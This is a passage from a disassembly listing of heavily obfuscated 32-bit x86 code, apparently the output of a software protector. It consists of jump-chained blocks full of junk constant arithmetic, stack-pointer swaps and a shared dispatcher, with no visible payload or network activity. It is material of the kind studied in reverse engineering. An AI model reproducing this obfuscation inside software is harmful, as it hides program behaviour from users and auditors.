		sub	ebp, 6383775Ah
		sub	ebp, 0AEFCCAA2h
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_58CDF6
; ---------------------------------------------------------------------------


loc_591C1D:				; CODE XREF: ud2_____:005840CEj
		xchg	eax, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, esp
		push	edi
		mov	edi, 3AD7060Ch
		jmp	loc_58E02B
; ---------------------------------------------------------------------------


loc_591C31:				; CODE XREF: ud2_____:0058C671j
		push	69Fh
		jmp	loc_57E5D6
; ---------------------------------------------------------------------------


loc_591C3B:				; CODE XREF: ud2_____:005877F4j
		add	ecx, 4
		push	0C3Dh
		mov	[esp], edi
		jmp	loc_58AA5A
; ---------------------------------------------------------------------------


loc_591C4E:				; CODE XREF: ud2_____:00588E30j
		push	small 83Dh
		mov	[esp], cx
		mov	cl, 0Bh
		sub	al, 92h
		add	al, cl
		add	al, 92h
		pop	cx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_585F8E
; ---------------------------------------------------------------------------


loc_591C71:				; CODE XREF: ud2_____:0058542Dj
		push	dword ptr [esp]
		jmp	loc_57FB49
; ---------------------------------------------------------------------------


loc_591C79:				; CODE XREF: ud2_____:0057EBEBj
		sub	al, 77h
		push	73E5h
		mov	[esp], ecx
		mov	ch, 3Fh
		sub	ch, 0E3h
		sub	ch, 0E3h
		sub	al, ch
		pop	ecx
		add	al, bl
		jmp	loc_592BD2
; ---------------------------------------------------------------------------


loc_591C95:				; CODE XREF: ud2_____:00586697j
		add	edx, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_5810D4
; ---------------------------------------------------------------------------


loc_591CAB:				; CODE XREF: ud2_____:00581DA1j
		push	ebx
		mov	ebx, 70642D39h
		and	edx, ebx
		pop	ebx
		jmp	loc_588002
; ---------------------------------------------------------------------------


loc_591CB9:				; CODE XREF: ud2_____:00581959j
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		jmp	loc_583E44
; ---------------------------------------------------------------------------


loc_591CCC:				; CODE XREF: ud2_____:005836D1j
		push	edi
		mov	edi, 0A468D7DFh
		sub	ebx, edi
		pop	edi
		xor	esi, ebx
		push	dword ptr [esp]
		jmp	loc_58A805
; ---------------------------------------------------------------------------


loc_591CDF:				; CODE XREF: ud2_____:0058DD5Fj
		sub	ebp, ebx
		pop	ebx
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		push	4549h
		mov	[esp], edx
		push	4DACh
		jmp	loc_587240
; ---------------------------------------------------------------------------


loc_591D10:				; CODE XREF: ud2_____:00581E34j
		add	esp, 4
		jmp	loc_58A154
; ---------------------------------------------------------------------------


loc_591D18:				; CODE XREF: ud2_____:005865A7j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_585AC6
; ---------------------------------------------------------------------------


loc_591D2B:				; CODE XREF: ud2_____:0058313Bj
		add	esp, 4
		xor	[esp+4], esi
		pop	esi
		pop	eax
		xor	eax, 52823F66h
		mov	edi, [esp]
		push	5556h
		jmp	loc_58F687
; ---------------------------------------------------------------------------


loc_591D49:				; CODE XREF: ud2_____:0058BD2Cj
		add	esp, 4
		add	ebx, ebp
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		bswap	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		sub	esp, 4
		jmp	loc_586C43
; ---------------------------------------------------------------------------


loc_591D6F:				; CODE XREF: ud2_____:0058A36Bj
		pop	edi
		pop	ecx
		add	ecx, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57E5CD
; ---------------------------------------------------------------------------


loc_591D8E:				; CODE XREF: ud2_____:0057E30Cj
		xchg	edi, [esp]
		pop	esp
		jmp	loc_59062E
; ---------------------------------------------------------------------------


loc_591D97:				; CODE XREF: ud2_____:0059085Dj
		shr	bh, 7
		shr	bh, 8
		add	bh, 38h
		push	eax
		mov	ah, 82h
		sub	ah, 99h
		jmp	loc_5866A9
; ---------------------------------------------------------------------------


loc_591DAB:				; CODE XREF: ud2_____:00588E11j
		push	esi
		mov	esi, 49015811h
		jmp	loc_584A10
; ---------------------------------------------------------------------------
		push	2F4Dh
		jmp	loc_580094
; ---------------------------------------------------------------------------


loc_591DC0:				; CODE XREF: ud2_____:0057F6C5j
		shl	ecx, 7
		inc	ecx
		shr	ecx, 2
		push	edx
		mov	edx, 62EF1F97h
		sub	edx, 133E9AC3h
		jmp	loc_58C30F
; ---------------------------------------------------------------------------


loc_591DD8:				; CODE XREF: ud2_____:005816B5j
		sub	edx, 5AB146D6h
		jmp	loc_581852
; ---------------------------------------------------------------------------


loc_591DE3:				; CODE XREF: ud2_____:0058972Fj
		pop	esi
		mov	edi, [esp]
		push	esi
		jmp	loc_58B709
; ---------------------------------------------------------------------------


loc_591DED:				; CODE XREF: ud2_____:00581B04j
		push	ebp
		jmp	loc_58C1BE
; ---------------------------------------------------------------------------


loc_591DF3:				; CODE XREF: ud2_____:00580186j
		add	eax, ebx
		sub	eax, 7DEE2998h
		push	ebp
		mov	ebp, 75D0605Eh
		and	ebp, 3ACE2D49h
		shl	ebp, 6
		and	ebp, 7DA04D7Fh
		push	ebp
		not	dword ptr [esp]
		jmp	loc_58D218
; ---------------------------------------------------------------------------


loc_591E18:				; CODE XREF: ud2_____:0058457Fj
					; ud2_____:0058AD2Dj ...
		push	0ED8h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_592D62
; ---------------------------------------------------------------------------


loc_591E2B:				; CODE XREF: ud2_____:0058E56Fj
		add	ecx, eax
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		jmp	loc_591562
; ---------------------------------------------------------------------------


loc_591E39:				; CODE XREF: ud2_____:0057F316j
		xchg	edi, ebx
		jmp	loc_58C78A
; ---------------------------------------------------------------------------


loc_591E40:				; CODE XREF: ud2_____:0058B027j
		add	ebx, 4
		jmp	loc_590953
; ---------------------------------------------------------------------------


loc_591E4B:				; CODE XREF: ud2_____:0058BFCBj
		xor	esi, edx
		pop	edx
		xor	ebp, esi
		pop	esi
		push	edi
		mov	edi, 20766990h
		neg	edi
		shl	edi, 5
		or	edi, 49902251h
		jmp	loc_5863A9
; ---------------------------------------------------------------------------


loc_591E67:				; CODE XREF: ud2_____:00581589j
		push	eax
		jmp	loc_59158D
; ---------------------------------------------------------------------------


loc_591E6D:				; CODE XREF: ud2_____:00587BC9j
		mov	eax, 89423C1h
		mov	ebp, eax
		pop	eax
		sub	esi, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	esi, eax
		jmp	loc_587567
; ---------------------------------------------------------------------------


loc_591E84:				; CODE XREF: ud2_____:0058BFFBj
		push	ebp
		mov	ebp, 832C4B71h
		add	esi, ebp
		pop	ebp
		and	eax, esi
		pop	esi
		jmp	loc_58C7C2
; ---------------------------------------------------------------------------


loc_591E95:				; CODE XREF: ud2_____:00592051j
		shr	ebp, 8
		and	ebp, 715B41E4h
		dec	ebp
		add	ebp, 0FFFFFFFFh
		add	ebp, 7C2E3943h
		jmp	loc_585EBA
; ---------------------------------------------------------------------------


loc_591EB0:				; CODE XREF: ud2_____:00588134j
		pop	dword ptr [esp]
		pop	edi
		jmp	loc_58D7D2
; ---------------------------------------------------------------------------


loc_591EB9:				; CODE XREF: ud2_____:00588034j
		push	ebp
		mov	ebp, 53C97F29h
		xor	edx, ebp
		pop	ebp
		xor	ebx, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58004C
; ---------------------------------------------------------------------------


loc_591ED5:				; CODE XREF: ud2_____:00585FBDj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_591A8F
; ---------------------------------------------------------------------------


loc_591EDF:				; CODE XREF: ud2_____:00591EF0j
		xor	ecx, [esp]
		jmp	loc_58D322
; ---------------------------------------------------------------------------


loc_591EE7:				; CODE XREF: ud2_____:00589E47j
		sub	ecx, ebp
		pop	ebp
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_591EDF
; ---------------------------------------------------------------------------


loc_591EF5:				; CODE XREF: ud2_____:00587FB9j
		mov	[esp], esp
		push	esi
		push	eax
		push	21924197h
		pop	eax
		dec	eax
		xor	eax, 21924192h
		mov	esi, eax
		pop	eax
		add	[esp+4], esi
		jmp	loc_590112
; ---------------------------------------------------------------------------


loc_591F12:				; CODE XREF: ud2_____:00588399j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5811F2
; ---------------------------------------------------------------------------


loc_591F1D:				; CODE XREF: ud2_____:0058437Ej
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		btc	[esp], ax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_591F31:				; CODE XREF: ud2_____:00581E49j
		sub	edi, 7D4E70CDh
		sub	edi, 44DA4731h
		sub	edi, 1D00FB4Dh
		jmp	loc_582DBE
; ---------------------------------------------------------------------------


loc_591F48:				; CODE XREF: ud2_____:0058869Aj
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		jmp	loc_589535
; ---------------------------------------------------------------------------


loc_591F56:				; CODE XREF: ud2_____:00591074j
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_591F5B:				; CODE XREF: ud2_____:0057EE70j
		pop	edi
		xor	eax, 9AC47BDh
		add	edi, eax
		jmp	loc_587A54
; ---------------------------------------------------------------------------


loc_591F68:				; CODE XREF: ud2_____:00588CF0j
		pop	dword ptr [esp]
		jmp	loc_5814E5
; ---------------------------------------------------------------------------


loc_591F70:				; CODE XREF: ud2_____:0058C4C9j
		xor	edx, 64DF1ADBh
		jmp	loc_58FC6E
; ---------------------------------------------------------------------------


loc_591F7B:				; CODE XREF: ud2_____:0058B8ADj
		push	eax
		mov	eax, 1
		add	edx, 2E893353h
		sub	edx, eax
		jmp	loc_590366
; ---------------------------------------------------------------------------


loc_591F8E:				; CODE XREF: ud2_____:005843BEj
		or	esi, 37B4302Ah
		and	esi, 7FC0C60h
		xor	esi, 7B40824h
		jmp	loc_58FCCB
; ---------------------------------------------------------------------------


loc_591FA5:				; CODE XREF: ud2_____:00587356j
		sub	edi, 620D35ECh
		jmp	loc_58C6AA
; ---------------------------------------------------------------------------


loc_591FB0:				; CODE XREF: ud2_____:0057E0BAj
		push	ecx
		mov	ecx, 224E5133h
		jmp	loc_585915
; ---------------------------------------------------------------------------


loc_591FBB:				; CODE XREF: ud2_____:0058ABC8j
		push	edi
		mov	edi, ebx
		push	esi
		mov	esi, edi
		mov	eax, esi
		pop	esi
		jmp	loc_586A4D
; ---------------------------------------------------------------------------


loc_591FC9:				; CODE XREF: ud2_____:00586A50j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	49F4h
		mov	[esp], edx
		mov	edx, 6F3D5204h
		xor	[esp+4], edx
		pop	edx
		pop	eax
		xor	eax, 6F3D5204h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58209A
; ---------------------------------------------------------------------------


loc_591FFF:				; CODE XREF: ud2_____:005832C2j
		xor	ecx, ebx
		jmp	loc_58F2C3
; ---------------------------------------------------------------------------


loc_592006:				; CODE XREF: ud2_____:00583C5Bj
		mov	[esp], eax
		push	edx
		mov	edx, 4
		mov	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	edx, eax
		jmp	loc_581FBB
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	504Ch
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4BEC05C6h
		jmp	loc_591E95
; ---------------------------------------------------------------------------


loc_592056:				; CODE XREF: ud2_____:00581D58j
		add	ah, 0F9h
		mov	ch, ah
		push	dword ptr [esp]
		pop	eax
		jmp	loc_58BE16
; ---------------------------------------------------------------------------


loc_592064:				; CODE XREF: ud2_____:005918A5j
		push	ecx
		jmp	loc_57F37A
; ---------------------------------------------------------------------------


loc_59206A:				; CODE XREF: ud2_____:0058C5BDj
		shr	edx, 8
		xor	edx, 0A687B2h
		push	edx
		pop	eax
		mov	edx, [esp]
		jmp	loc_5899BA
; ---------------------------------------------------------------------------


loc_59207D:				; CODE XREF: ud2_____:00589DBAj
		push	ebx
		mov	bl, 0A9h
		mov	dh, bl
		pop	ebx
		add	dh, 3Fh
		add	bl, dh
		jmp	loc_57FE0A
; ---------------------------------------------------------------------------


loc_59208D:				; CODE XREF: ud2_____:0058BF11j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mul	ecx
		push	1A41h
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5920AA:				; CODE XREF: ud2_____:0058962Dj
		mov	ecx, 426338D8h
		shl	ecx, 7
		xor	ecx, 22C7722Dh
		xor	ecx, 46122B15h
		or	ebx, ecx
		pop	ecx
		add	ebx, 28C3349Ch
		sub	ebx, 888D31D1h
		add	ecx, 504A6ABAh
		jmp	loc_5857E1
; ---------------------------------------------------------------------------


loc_5920D8:				; CODE XREF: ud2_____:00589234j
		pop	ax
		push	cx
		mov	cl, 16h
		add	bh, cl
		pop	cx
		and	cl, bh
		pop	ebx
		add	cl, 1
		jmp	loc_5876E9
; ---------------------------------------------------------------------------


loc_5920ED:				; CODE XREF: ud2_____:0058431Bj
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_5920F2:				; CODE XREF: ud2_____:00582531j
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58E326
; ---------------------------------------------------------------------------


loc_592101:				; CODE XREF: ud2_____:005834D6j
		push	dword ptr [esp]
		jmp	loc_588182
; ---------------------------------------------------------------------------


loc_592109:				; CODE XREF: ud2_____:00583B19j
		xor	ebx, 7E71506Ah
		push	ebx
		push	edx
		push	ebx
		jmp	loc_58ECB9
; ---------------------------------------------------------------------------


loc_592117:				; CODE XREF: ud2_____:00582AACj
		push	edi
		jmp	loc_590905
; ---------------------------------------------------------------------------


loc_59211D:				; CODE XREF: ud2_____:0058E7ABj
		mov	edx, 19566353h
		xor	edx, 0D3D8A4D2h
		sub	ecx, edx
		pop	edx
		jmp	loc_588278
; ---------------------------------------------------------------------------


loc_592130:				; CODE XREF: ud2_____:00582939j
		mov	edx, esi
		pop	esi
		jmp	loc_57E72B
; ---------------------------------------------------------------------------


loc_592138:				; CODE XREF: ud2_____:00582522j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 1EF7288Eh
		neg	eax
		push	5568h
		jmp	loc_58F3BB
; ---------------------------------------------------------------------------


loc_592159:				; CODE XREF: ud2_____:0058609Ej
		mov	ch, 87h
		jmp	loc_5917E0
; ---------------------------------------------------------------------------


loc_592160:				; CODE XREF: ud2_____:0057E99Dj
		push	0F5Ah
		jmp	loc_5916EC
; ---------------------------------------------------------------------------


loc_59216A:				; CODE XREF: ud2_____:00589DCAj
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	5249h
		mov	[esp], edx
		mov	edx, 530D0F6Eh
		and	edx, 457D5AF1h
		jmp	loc_58EDEC
; ---------------------------------------------------------------------------


loc_5921A3:				; CODE XREF: ud2_____:0058B92Bj
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 0B596291h
		add	esi, 37730868h
		dec	esi
		jmp	loc_590B06
; ---------------------------------------------------------------------------


loc_5921BB:				; CODE XREF: ud2_____:0058381Cj
		pop	eax
		jmp	loc_58B09A
; ---------------------------------------------------------------------------


loc_5921C1:				; CODE XREF: ud2_____:00589BBCj
		shl	edi, 5
		jmp	loc_585BD7
; ---------------------------------------------------------------------------


loc_5921C9:				; CODE XREF: ud2_____:0057EC24j
		add	ebx, 4764370Ch
		sub	ebx, 59822BE3h
		xor	edx, eax
		jmp	loc_57E2D1
; ---------------------------------------------------------------------------


loc_5921DC:				; CODE XREF: ud2_____:005890C3j
		mov	al, ch
		mov	bh, al
		jmp	loc_5917E7
; ---------------------------------------------------------------------------


loc_5921E5:				; CODE XREF: ud2_____:00587E38j
		pop	dword ptr [esp]
		jmp	loc_584C74
; ---------------------------------------------------------------------------


loc_5921ED:				; CODE XREF: ud2_____:0058ACECj
		sub	ebx, 7427782Fh
		xor	ebx, 3EA515A3h
		inc	ebx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0D2D6B5FEh
		jmp	loc_58B325
; ---------------------------------------------------------------------------


loc_59220D:				; CODE XREF: ud2_____:0058F8CFj
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_59221C:				; CODE XREF: ud2_____:00580037j
		pop	ecx
		jmp	loc_582F2F
; ---------------------------------------------------------------------------


loc_592222:				; CODE XREF: ud2_____:00589D62j
		pop	esp
		add	ebx, ecx
		pop	ecx
		jmp	loc_58CA5B
; ---------------------------------------------------------------------------


loc_59222B:				; CODE XREF: ud2_____:00584733j
		mov	[esp], ecx
		push	ebp
		push	ebx
		push	16072CBBh
		pop	ebx
		dec	ebx
		jmp	loc_5891E3
; ---------------------------------------------------------------------------


loc_59223C:				; CODE XREF: ud2_____:00585F10j
		mov	[esp], edx
		mov	edx, 73010862h
		and	ebx, edx
		jmp	loc_589F85
; ---------------------------------------------------------------------------


loc_59224B:				; CODE XREF: ud2_____:00592506j
		push	edx
		jmp	loc_58F456
; ---------------------------------------------------------------------------


loc_592251:				; CODE XREF: ud2_____:0058683Ej
		push	eax
		push	ecx
		mov	ecx, 5E3355Ch
		mov	eax, ecx
		pop	ecx
		jmp	loc_58ECCE
; ---------------------------------------------------------------------------


loc_592260:				; CODE XREF: ud2_____:005904F6j
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_587AF8
; ---------------------------------------------------------------------------


loc_59226A:				; CODE XREF: ud2_____:00583A49j
		mov	edx, [esp]
		push	49h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	ecx
		mov	ecx, 4
		jmp	loc_586C75
; ---------------------------------------------------------------------------


loc_592294:				; CODE XREF: ud2_____:005859A4j
		push	ebx
		mov	ebx, 0F691ADAh
		not	ebx
		add	ebx, 0F691ADFh
		jmp	loc_590966
; ---------------------------------------------------------------------------


loc_5922A7:				; CODE XREF: ud2_____:00590795j
		push	ecx
		mov	ecx, 77ED21A7h
		push	esi
		push	10BFh
		mov	[esp], edx
		mov	edx, 7C0317DEh
		or	edx, 24AE5D12h
		shr	edx, 5
		shr	edx, 1
		not	edx
		jmp	loc_57E182
; ---------------------------------------------------------------------------


loc_5922CD:				; CODE XREF: ud2_____:00587273j
		shr	ecx, 5
		xor	ecx, 54F17890h
		sub	ecx, 78896EDBh
		sub	ecx, 70A3BB93h
		add	edi, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	esi
		jmp	loc_58E4EC
; ---------------------------------------------------------------------------


loc_5922EF:				; CODE XREF: ud2_____:0058E08Fj
		not	edx
		jmp	loc_583F0C
; ---------------------------------------------------------------------------


loc_5922F6:				; CODE XREF: ud2_____:00583790j
		pop	edx
		add	esp, 4
		jmp	loc_584463
; ---------------------------------------------------------------------------


loc_5922FF:				; CODE XREF: ud2_____:00592C94j
		pop	ecx
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		jmp	loc_58822D
; ---------------------------------------------------------------------------


loc_592314:				; CODE XREF: ud2_____:00587CBEj
		xor	eax, ebx
		pop	ebx
		mov	ebx, eax
		pop	eax
		jmp	loc_580A33
; ---------------------------------------------------------------------------


loc_59231F:				; CODE XREF: ud2_____:00585548j
		xor	edx, [esp]
		pop	esp
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_57E844
; ---------------------------------------------------------------------------


loc_592345:				; CODE XREF: ud2_____:0058905Cj
		add	ecx, 4
		jmp	loc_57F2A2
; ---------------------------------------------------------------------------


loc_592350:				; CODE XREF: ud2_____:005882D3j
		push	ecx
		mov	ecx, esp
		jmp	loc_58A8DC
; ---------------------------------------------------------------------------


loc_592358:				; CODE XREF: ud2_____:005896D8j
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		push	3B75h
		mov	[esp], edx
		mov	edx, eax
		jmp	loc_57F89B
; ---------------------------------------------------------------------------


loc_592373:				; CODE XREF: ud2_____:005929C1j
		mov	ebp, 7DBA50BBh
		sub	esi, 5F6C5431h
		add	esi, ebp
		push	eax
		jmp	loc_58EDAD
; ---------------------------------------------------------------------------


loc_592386:				; CODE XREF: ud2_____:00590190j
		xor	esi, 2FACA6A4h
		jmp	loc_58090D
; ---------------------------------------------------------------------------


loc_592391:				; CODE XREF: ud2_____:00586B52j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5811BA
; ---------------------------------------------------------------------------


loc_5923A6:				; CODE XREF: ud2_____:0058F12Aj
		mov	[esp], ebx
		push	ecx
		jmp	loc_592920
; ---------------------------------------------------------------------------


loc_5923AF:				; CODE XREF: ud2_____:00592F3Aj
		mov	ebx, [esp]
		jmp	loc_58B7BE
; ---------------------------------------------------------------------------


loc_5923B7:				; CODE XREF: ud2_____:00581DDFj
		sub	edi, 2F8C5C2Bh
		pop	esi
		std
		push	61B7h
		jmp	loc_584074
; ---------------------------------------------------------------------------


loc_5923C9:				; CODE XREF: ud2_____:00587C93j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5829C1
; ---------------------------------------------------------------------------


loc_5923DC:				; CODE XREF: ud2_____:00592826j
		or	ebx, 2046A5Ch
		shr	ebx, 1
		and	ebx, 2EFD6DF8h
		add	ebx, 0F7B3D21Ch
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	ecx
		jmp	loc_587158
; ---------------------------------------------------------------------------


loc_59240D:				; CODE XREF: ud2_____:00586908j
		inc	ebx
		push	edi
		mov	edi, 69DF1822h
		add	ebx, edi
		pop	edi
		sub	ebx, 9F279948h
		jmp	loc_58B17C
; ---------------------------------------------------------------------------


loc_592422:				; CODE XREF: ud2_____:00586719j
		xor	cl, 0D1h
		xor	al, cl
		jmp	loc_581FDB
; ---------------------------------------------------------------------------


loc_59242C:				; CODE XREF: ud2_____:0058961Bj
		mov	ecx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	edi, 2
		jmp	loc_58BA03
; ---------------------------------------------------------------------------


loc_59244D:				; CODE XREF: ud2_____:0058FD2Bj
		push	edi
		mov	edi, 2FC47FE0h
		jmp	loc_58B148
; ---------------------------------------------------------------------------


loc_592458:				; CODE XREF: ud2_____:0058E9E7j
		pop	edx
		sub	eax, 0F994A560h
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2
		add	esi, ebx
		pop	ebx
		xchg	esi, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_59247C:				; CODE XREF: ud2_____:00583497j
		add	eax, ecx
		pop	ecx
		add	eax, 3FAC109Ah
		jmp	loc_588D79
; ---------------------------------------------------------------------------


loc_592489:				; CODE XREF: ud2_____:00583EA8j
		add	eax, ecx
		pop	ecx
		jmp	loc_58AA9C
; ---------------------------------------------------------------------------


loc_592491:				; CODE XREF: ud2_____:0058619Fj
		push	esi
		mov	esi, 2E413DA0h
		neg	esi
		and	esi, 43652DD4h
		xchg	edx, esi
		not	edx
		xchg	edx, esi
		sub	esi, 0FFFFFFFFh
		shl	esi, 8
		push	ecx
		jmp	loc_58C178
; ---------------------------------------------------------------------------


loc_5924B4:				; CODE XREF: ud2_____:0058ABBBj
		not	edi
		xor	edi, 33D57364h
		not	edi
		inc	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_58E65D
; ---------------------------------------------------------------------------


loc_5924CA:				; CODE XREF: ud2_____:0058A05Aj
		add	ebp, 4
		add	ebp, 4
		jmp	loc_588582
; ---------------------------------------------------------------------------


loc_5924D8:				; CODE XREF: ud2_____:00586A7Aj
		xor	esi, 30964EB7h
		jmp	loc_5918AA
; ---------------------------------------------------------------------------


loc_5924E3:				; CODE XREF: ud2_____:0057F26Bj
		sub	dh, cl
		pop	ecx
		jmp	loc_58A03E
; ---------------------------------------------------------------------------


loc_5924EB:				; CODE XREF: ud2_____:00587555j
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_58DC9F
; ---------------------------------------------------------------------------


loc_5924FE:				; CODE XREF: ud2_____:00584829j
		and	edi, edx
		jmp	loc_5808EF
; ---------------------------------------------------------------------------


loc_592505:				; CODE XREF: ud2_____:0058008Fj
		pop	ebx
		jmp	loc_59224B
; ---------------------------------------------------------------------------


loc_59250B:				; CODE XREF: ud2_____:00589014j
		inc	ebx
		xor	ebx, 6E333D7Ch
		xor	ebx, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5867CC
; ---------------------------------------------------------------------------


loc_59251D:				; CODE XREF: ud2_____:0058D1CFj
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	7CBFh
		mov	[esp], ebp
		push	ebx
		mov	ebx, 3510005h
		inc	ebx
		shr	ebx, 1
		and	ebx, 24604EE3h
		or	ebx, 5A677EBh
		sub	ebx, 0C589228Fh
		mov	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 401D555Eh
		xor	ebp, edx
		jmp	loc_582A9C
; ---------------------------------------------------------------------------


loc_592558:				; CODE XREF: ud2_____:0058CAA8j
		mov	ah, 65h
		jmp	loc_58C33C
; ---------------------------------------------------------------------------


loc_59255F:				; CODE XREF: ud2_____:005815ECj
		pop	eax
		push	6387h
		mov	[esp], esi
		jmp	loc_58BE45
; ---------------------------------------------------------------------------


loc_59256D:				; CODE XREF: ud2_____:005903A2j
		mov	[esp], ebp
		push	esp
		mov	ebp, [esp]
		jmp	loc_581E87
; ---------------------------------------------------------------------------


loc_592579:				; CODE XREF: ud2_____:00583412j
		pop	ebx
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_57E07A
; ---------------------------------------------------------------------------


loc_59258F:				; CODE XREF: ud2_____:0058FB1Fj
		add	ebp, 93E116EDh
		shr	ebp, 8
		push	edx
		mov	edx, 9455D0B5h
		sub	ebp, 2AD6067Ch
		sub	ebp, edx
		push	ecx
		mov	ecx, 26423591h
		add	ecx, 493D0EBh
		add	ebp, ecx
		pop	ecx
		jmp	loc_58F417
; ---------------------------------------------------------------------------


loc_5925BA:				; CODE XREF: ud2_____:0057FDA5j
		add	ebx, 5E8B556Eh
		add	esi, 0B3660CEh
		add	esi, ebx
		sub	esi, 0B3660CEh
		pop	ebx
		push	edi
		mov	edi, 1191647Eh
		add	edi, 489E0113h
		add	edi, 7E663128h
		or	edi, 6C8C44A6h
		push	edx
		mov	edx, 0C977B13h
		and	edi, edx
		pop	edx
		sub	edi, 42C8544Fh
		add	edi, 97504D8Fh
		add	esi, edi
		pop	edi
		xor	esi, 147D9B98h
		add	eax, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_58FB37
; ---------------------------------------------------------------------------


loc_592615:				; CODE XREF: ud2_____:0057F1C5j
		sub	esp, 4
		mov	[esp], edi
		not	dword ptr [esp]
		push	dword ptr [esp]
		pop	edi
		push	ebx
		sub	esp, 4
		jmp	loc_58A167
; ---------------------------------------------------------------------------


loc_59262E:				; CODE XREF: ud2_____:00580570j
		sub	ebp, ebx
		pop	ebx
		shl	ebp, 1
		or	ebp, 29C162Dh
		jmp	loc_58A7F4
; ---------------------------------------------------------------------------


loc_59263E:				; CODE XREF: ud2_____:0058BE6Fj
		sub	ecx, 37BDFFBCh
		add	edi, ecx
		pop	ecx
		xchg	edi, [esp]
		jmp	loc_591541
; ---------------------------------------------------------------------------


loc_59264F:				; CODE XREF: ud2_____:00586AAAj
		sub	esp, 4
		jmp	loc_586954
; ---------------------------------------------------------------------------


loc_592657:				; CODE XREF: ud2_____:0057EFD5j
		pop	eax
		push	esi
		mov	esi, 4
		jmp	loc_587D9C
; ---------------------------------------------------------------------------


loc_592663:				; CODE XREF: ud2_____:00590299j
		mov	[esp], esi
		mov	esi, 5E075F10h
		jmp	loc_589C33
; ---------------------------------------------------------------------------


loc_592670:				; CODE XREF: ud2_____:0058328Ej
		xor	eax, [esp]
		jmp	loc_583A12
; ---------------------------------------------------------------------------


loc_592678:				; CODE XREF: ud2_____:00582585j
		add	dword ptr [esp], 42D717FBh
